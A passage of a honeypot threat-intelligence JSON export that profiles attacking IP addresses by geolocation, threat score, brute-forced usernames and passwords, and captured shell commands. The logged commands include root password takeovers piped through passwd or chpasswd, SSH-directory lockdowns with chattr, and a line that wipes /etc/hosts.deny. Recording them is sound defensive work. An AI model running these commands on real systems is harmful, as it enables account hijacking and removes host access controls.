        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "122.177.242.80": {
      "attack_count": 194,
      "first_seen": "2026-04-10T13:41:03.998Z",
      "last_seen": "2026-04-10T14:29:57.132Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "git",
        "345gs5662d34",
        "admin",
        "ali",
        "frappe",
        "ftpuser1",
        "hu",
        "me",
        "odoo",
        "sammy",
        "server",
        "steam",
        "user2",
        "wp"
      ],
      "passwords_attempted": [
        "123456",
        "12345@asdf",
        "1q2w3e!@",
        "1q2w3e4r@",
        "222222",
        "3245gs5662d34",
        "345gs5662d34",
        "ASDFqwer1234",
        "Aa123456",
        "Mh123456",
        "Odoo02",
        "Qazwsx111@#",
        "Qazwsx2022!@",
        "Root30!",
        "ZAQ!#$",
        "admin!@#",
        "asdf.1234",
        "frappe12!",
        "me",
        "qazwsx111!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"xxx\\nU84F4b74BKUX\\nU84F4b74BKUX\\n\"|passwd",
        "echo -e \"xxx\\nU84F4b74BKUX\\nU84F4b74BKUX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:41:03.998000+00:00",
        "last_seen_30d": "2026-04-10T14:30:57.987000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 63
      }
    },
    "132.145.213.106": {
      "attack_count": 193,
      "first_seen": "2026-04-05T15:53:39.147Z",
      "last_seen": "2026-04-05T16:45:05.122Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "fox",
        "gitlab",
        "lampuser",
        "nginx",
        "odoo",
        "oracle",
        "postgres",
        "steam",
        "teamspeak",
        "test",
        "ubuntu",
        "user",
        "vncuser"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "12332100",
        "123445",
        "31415926",
        "3245gs5662d34",
        "345gs5662d34",
        "Claude28!",
        "P@ssword2026!!!",
        "Postgres2025!",
        "QQdd000",
        "Qw123456789",
        "Test6",
        "oracle03",
        "password",
        "qazwsx001!@#",
        "qwe123QWE",
        "qwerty!12345",
        "root",
        "root4321#"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YwYebGJgWA8e\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:53:39.147000+00:00",
        "last_seen_30d": "2026-04-05T16:46:12.982000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "2.56.205.249": {
      "attack_count": 193,
      "first_seen": "2026-04-14T01:27:32.093Z",
      "last_seen": "2026-04-14T02:08:04.996Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "amin",
        "bot",
        "claude",
        "ftpuser",
        "gita",
        "jinyu",
        "sammy",
        "sftpuser",
        "testsite"
      ],
      "passwords_attempted": [
        "123456789",
        "12345678qwe",
        "1qaz@WSX$",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc@#",
        "Aa123123",
        "Asdqwe123",
        "Bot07!",
        "Ftpuser16",
        "Qwe12345!",
        "Qwertyuiop123456!",
        "Root0!@",
        "Wang1234",
        "Wy123456@",
        "abcd1234.",
        "amin@123",
        "claude!",
        "gita",
        "jinyu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:QjAsasMh5YgK\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 216058,
      "as_org": "Proitlab LLC",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 254,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T01:27:32.093000+00:00",
        "last_seen_30d": "2026-04-14T02:09:08.423000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 61
      }
    },
    "45.66.131.134": {
      "attack_count": 193,
      "first_seen": "2026-04-11T21:37:14.962Z",
      "last_seen": "2026-04-11T22:36:09.237Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftptest",
        "345gs5662d34",
        "free",
        "server",
        "sftp_user",
        "webmin"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "123456789AA",
        "3245gs5662d34",
        "345gs5662d34",
        "Wj123456@",
        "abbas123",
        "abc!@#123",
        "ftptesttest",
        "lol12345",
        "qq123456!",
        "root2023!",
        "server24!",
        "virus",
        "webmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"ftptesttest\\nTPfwd3E5tOrv\\nTPfwd3E5tOrv\\n\"|passwd",
        "echo \"webmin\\nJPOQZwJUY7OR\\nJPOQZwJUY7OR\\n\"|passwd",
        "echo -e \"ftptesttest\\nTPfwd3E5tOrv\\nTPfwd3E5tOrv\"|passwd|bash",
        "echo -e \"webmin\\nJPOQZwJUY7OR\\nJPOQZwJUY7OR\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 3258,
      "as_org": "xTom Japan Corporation",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 236,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T21:37:14.962000+00:00",
        "last_seen_30d": "2026-04-11T22:37:12.030000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 43
      }
    },
    "45.78.206.111": {
      "attack_count": 175,
      "first_seen": "2026-04-21T21:58:03.665Z",
      "last_seen": "2026-04-21T22:46:23.802Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "postgres",
        "345gs5662d34",
        "dev",
        "ec2-user",
        "neo",
        "sasha",
        "smart",
        "steam",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123!@#",
        "Password2025",
        "Root12345$",
        "Yz123456@",
        "ZAQ!2wsx54321#",
        "admin24",
        "asdasdasd",
        "dev21",
        "ec2-user",
        "neo",
        "pa$$w0rd",
        "postgres2026!@#",
        "qazwsx001#",
        "roottoor",
        "sasha",
        "smart123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin24\\nnTl6GOufaOoD\\nnTl6GOufaOoD\\n\"|passwd",
        "echo -e \"admin24\\nnTl6GOufaOoD\\nnTl6GOufaOoD\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T21:58:03.665000+00:00",
        "last_seen_30d": "2026-04-21T22:47:28.121000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 175,
        "Suricata": 56
      }
    },
    "222.167.161.198": {
      "attack_count": 168,
      "first_seen": "2026-04-02T09:00:58.368Z",
      "last_seen": "2026-04-02T10:14:20.873Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "AA123#",
        "Abc222",
        "Cc123456$",
        "DdEe1234",
        "Hijklm123456",
        "QQwerty123",
        "QWERTqwert",
        "Qq002",
        "Qq4567",
        "Qq_123",
        "RRss1234",
        "RootRoot12",
        "Spring123",
        "Test@2026",
        "Zxc@123",
        "abc888",
        "efgh1234",
        "qw3rty123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:WRf0493GFxoi\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9908,
      "as_org": "HK Cable TV Ltd",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:00:58.368000+00:00",
        "last_seen_30d": "2026-04-02T10:15:29.760000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "46.24.47.94": {
      "attack_count": 164,
      "first_seen": "2026-04-08T05:40:25.115Z",
      "last_seen": "2026-04-08T06:23:57.469Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "steam",
        "bruce",
        "comp",
        "dev",
        "serv",
        "ubuntu"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "1q2w3e4R",
        "Dev27",
        "Lapsus123$%",
        "Steam23!",
        "Test1234@",
        "Test26",
        "asdf123",
        "bruce",
        "comp",
        "q1w2e3r4A",
        "qwert2024",
        "steam27!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Test26\\nsRtzw0DVrrcF\\nsRtzw0DVrrcF\\n\"|passwd",
        "echo -e \"Test26\\nsRtzw0DVrrcF\\nsRtzw0DVrrcF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Puerto Lumbreras",
      "asn": 12430,
      "as_org": "Vodafone Spain",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:40:25.115000+00:00",
        "last_seen_30d": "2026-04-08T06:34:35.476000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 43
      }
    },
    "165.154.20.214": {
      "attack_count": 163,
      "first_seen": "2026-04-28T01:27:40.025Z",
      "last_seen": "2026-04-28T01:44:24.541Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#$%idC",
        "1234@qwerty",
        "123QWE456",
        "1cmanager",
        "1nsane",
        "2024#9{qQ5[8KHDL4%l03M28Hda&3",
        "21352545tw4ret31546",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf123456",
        "Liu",
        "P@sswd!@123",
        "hisense",
        "jana",
        "joshua",
        "mHLPWHMfn6gd",
        "needidc67@163.com",
        "pim123",
        "qwe",
        "rootadmin1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:fr0fN2FT3V77\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:27:40.025000+00:00",
        "last_seen_30d": "2026-04-28T01:45:33.825000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 163,
        "Suricata": 46
      }
    },
    "18.218.118.203": {
      "attack_count": 162,
      "first_seen": "2026-04-09T03:35:15.496Z",
      "last_seen": "2026-04-30T11:13:36.074Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36",
        "Accept-Encoding: gzip"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12502,
        "days_active_30d": 30,
        "ports_targeted_30d": 176,
        "honeypots_triggered_30d": 14,
        "first_seen_30d": "2026-04-01T03:03:56+00:00",
        "last_seen_30d": "2026-04-30T16:58:38.648000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8004,
        "Honeytrap": 3746,
        "Dionaea": 170,
        "Cowrie": 162,
        "Redishoneypot": 162,
        "ConPot": 154,
        "Mailoney": 63,
        "Ipphoney": 15,
        "Honeyaml": 10,
        "CitrixHoneypot": 6,
        "ElasticPot": 4,
        "H0neytr4p": 3,
        "Ciscoasa": 2,
        "Tanner": 1
      }
    },
    "202.165.22.58": {
      "attack_count": 149,
      "first_seen": "2026-04-18T01:26:32.580Z",
      "last_seen": "2026-04-18T02:28:42.775Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "factorio",
        "steam",
        "test",
        "ali",
        "frappe",
        "kontakt",
        "pymes",
        "test001",
        "ubuntu",
        "user42",
        "userx"
      ],
      "passwords_attempted": [
        "123456",
        "123654",
        "3245gs5662d34",
        "Admin123456789@#",
        "Pass2023",
        "ali14",
        "asdf",
        "cc1234",
        "factorio",
        "hao123.com",
        "kontakt",
        "root4321!!",
        "server123",
        "steam23!",
        "test2026!@#",
        "user42",
        "userx"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"factorio\\ncTQsBjoYTKWY\\ncTQsBjoYTKWY\\n\"|passwd",
        "echo -e \"factorio\\ncTQsBjoYTKWY\\ncTQsBjoYTKWY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T01:26:32.580000+00:00",
        "last_seen_30d": "2026-04-18T02:29:48.562000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 48
      }
    },
    "185.156.73.233": {
      "attack_count": 137,
      "first_seen": "2026-04-01T01:28:01.614Z",
      "last_seen": "2026-04-06T02:01:38.385Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "Admin123",
        "88888888"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.3,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 212,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:28:01.614000+00:00",
        "last_seen_30d": "2026-04-06T02:02:46.921000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 137,
        "Suricata": 75
      }
    },
    "103.139.192.221": {
      "attack_count": 93,
      "first_seen": "2026-04-26T10:27:05.876Z",
      "last_seen": "2026-04-26T11:25:33.083Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qw23e",
        "3245gs5662d34",
        "345gs5662d34",
        "9999999999",
        "Adm1n1strat0r",
        "Qwerty!@#$%",
        "Webserver1",
        "Welcome@123",
        "Welkom010",
        "Welkom2025@",
        "aRio2282",
        "ab@1",
        "ab@123",
        "admin!1",
        "karen",
        "misys#1",
        "zaq!2ws"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 132,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T10:27:05.876000+00:00",
        "last_seen_30d": "2026-04-26T11:26:42.241000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 39
      }
    },
    "115.63.34.217": {
      "attack_count": 50,
      "first_seen": "2026-04-29T13:07:22.160Z",
      "last_seen": "2026-04-29T13:12:46.437Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T13:07:22.160000+00:00",
        "last_seen_30d": "2026-04-29T13:13:55.175000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "206.135.174.6": {
      "attack_count": 50,
      "first_seen": "2026-04-26T22:31:33.956Z",
      "last_seen": "2026-04-26T22:36:58.078Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
